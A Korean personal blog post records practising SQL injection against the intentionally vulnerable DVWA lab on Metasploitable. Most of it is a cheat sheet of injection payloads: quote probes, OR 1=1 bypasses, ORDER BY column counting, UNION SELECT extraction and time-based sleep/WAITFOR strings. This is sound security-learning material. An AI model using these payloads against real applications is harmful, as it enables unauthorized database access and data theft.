겉바속촉

[보안] SQL Injection (feat. DVWA) 본문

IT 일기 (상반기)/네트워크 및 시스템 보안

[보안] SQL Injection (feat. DVWA)

겉바속촉 2021. 1. 29. 10:40
728x90
반응형

 

지난번에 SQL Injection에 대한 개념을 익혔는데요.

이제 DVWA 에서 연습해보도록 할게요!!

2021/01/29 - [IT 일기 (상반기)/네트워크 및 시스템 보안] - [보안] SQL Injection 개념

 

[보안] SQL Injection 개념

SQL Injection 웹 서버와 db 서버가 연동되는 웹 서비스 중 사용자의 입력을 받는 화면이 존재 입력받는 문자열에 별도의 처리 없이 db 조회를 위한 sql구문이 사용될 경우 정상적인 sql 구문 인자 값의

2-juhyun-2.tistory.com

 

 

 

 

SQL Injection 연습

 

 

Metasploitable 리눅스 켜서 ifconfig명령으로 ip주소 확인해주기

 

 

 

웹 브라우저에서 확인했던 ip주소로 접속!!

 

 

 

DVWA 들어가서 admin, password 로그인

 

 

 

 

첨에 로그인하면 다음과 같은 탭에서 기존에 있던 것들 삭제할 수 있습니다.

setup - create/reset database

 

 

 

 

그리고 다음과 같이 보안 수준을 low로 고쳐주셔야 합니다.

high - medium - low 순으로 보안이 되기 때문에 우리는 low로 설정해주고 시작하겠습니다:)

 

 

 

 

이제 sql injection탭으로 가서 연습해볼게요.

 

 

 

 

 

이것저것 입력해보니 숫자 1을 입력했을 때 무엇인가가 뜹니다.

 

 

 

처음에는 패턴을 모르기 때문에  single quotation을 입력합니다.

그러면 다음과 같은 오류 발생!!!

 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

 

 

 

 

연습해볼 것들!!!

 

'union all select 1,@@VERSION-- '
'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*??/ 
+		addition, concatenate (or space in url)
||		(double pipe) concatenate
%		wildcard attribute indicator

@variable	local variable
@@variable	global variable


# Numeric
AND 1
AND 0
AND true
AND false
1-false
1-true
1*56
-2


1' ORDER BY 1--+
1' ORDER BY 2--+
1' ORDER BY 3--+

1' ORDER BY 1,2--+
1' ORDER BY 1,2,3--+

1' GROUP BY 1,2,--+
1' GROUP BY 1,2,3--+
' GROUP BY columnnames having 1=1 --


-1' UNION SELECT 1,2,3--+
' UNION SELECT sum(columnname ) from tablename --


-1 UNION SELECT 1 INTO @,@
-1 UNION SELECT 1 INTO @,@,@

1 AND (SELECT * FROM Users) = 1	

' AND MID(VERSION(),1,1) = '5';

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --


Finding the table name


Time-Based:
,(select * from (select(sleep(10)))a)
%2c(select%20*%20from%20(select(sleep(10)))a)
';WAITFOR DELAY '0:0:30'--

Comments:

#	    Hash comment
/*  	C-style comment
-- -	SQL comment
;%00	Nullbyte
`	    Backtick

 

 

 

 

 

 

 

 

 

 

728x90
반응형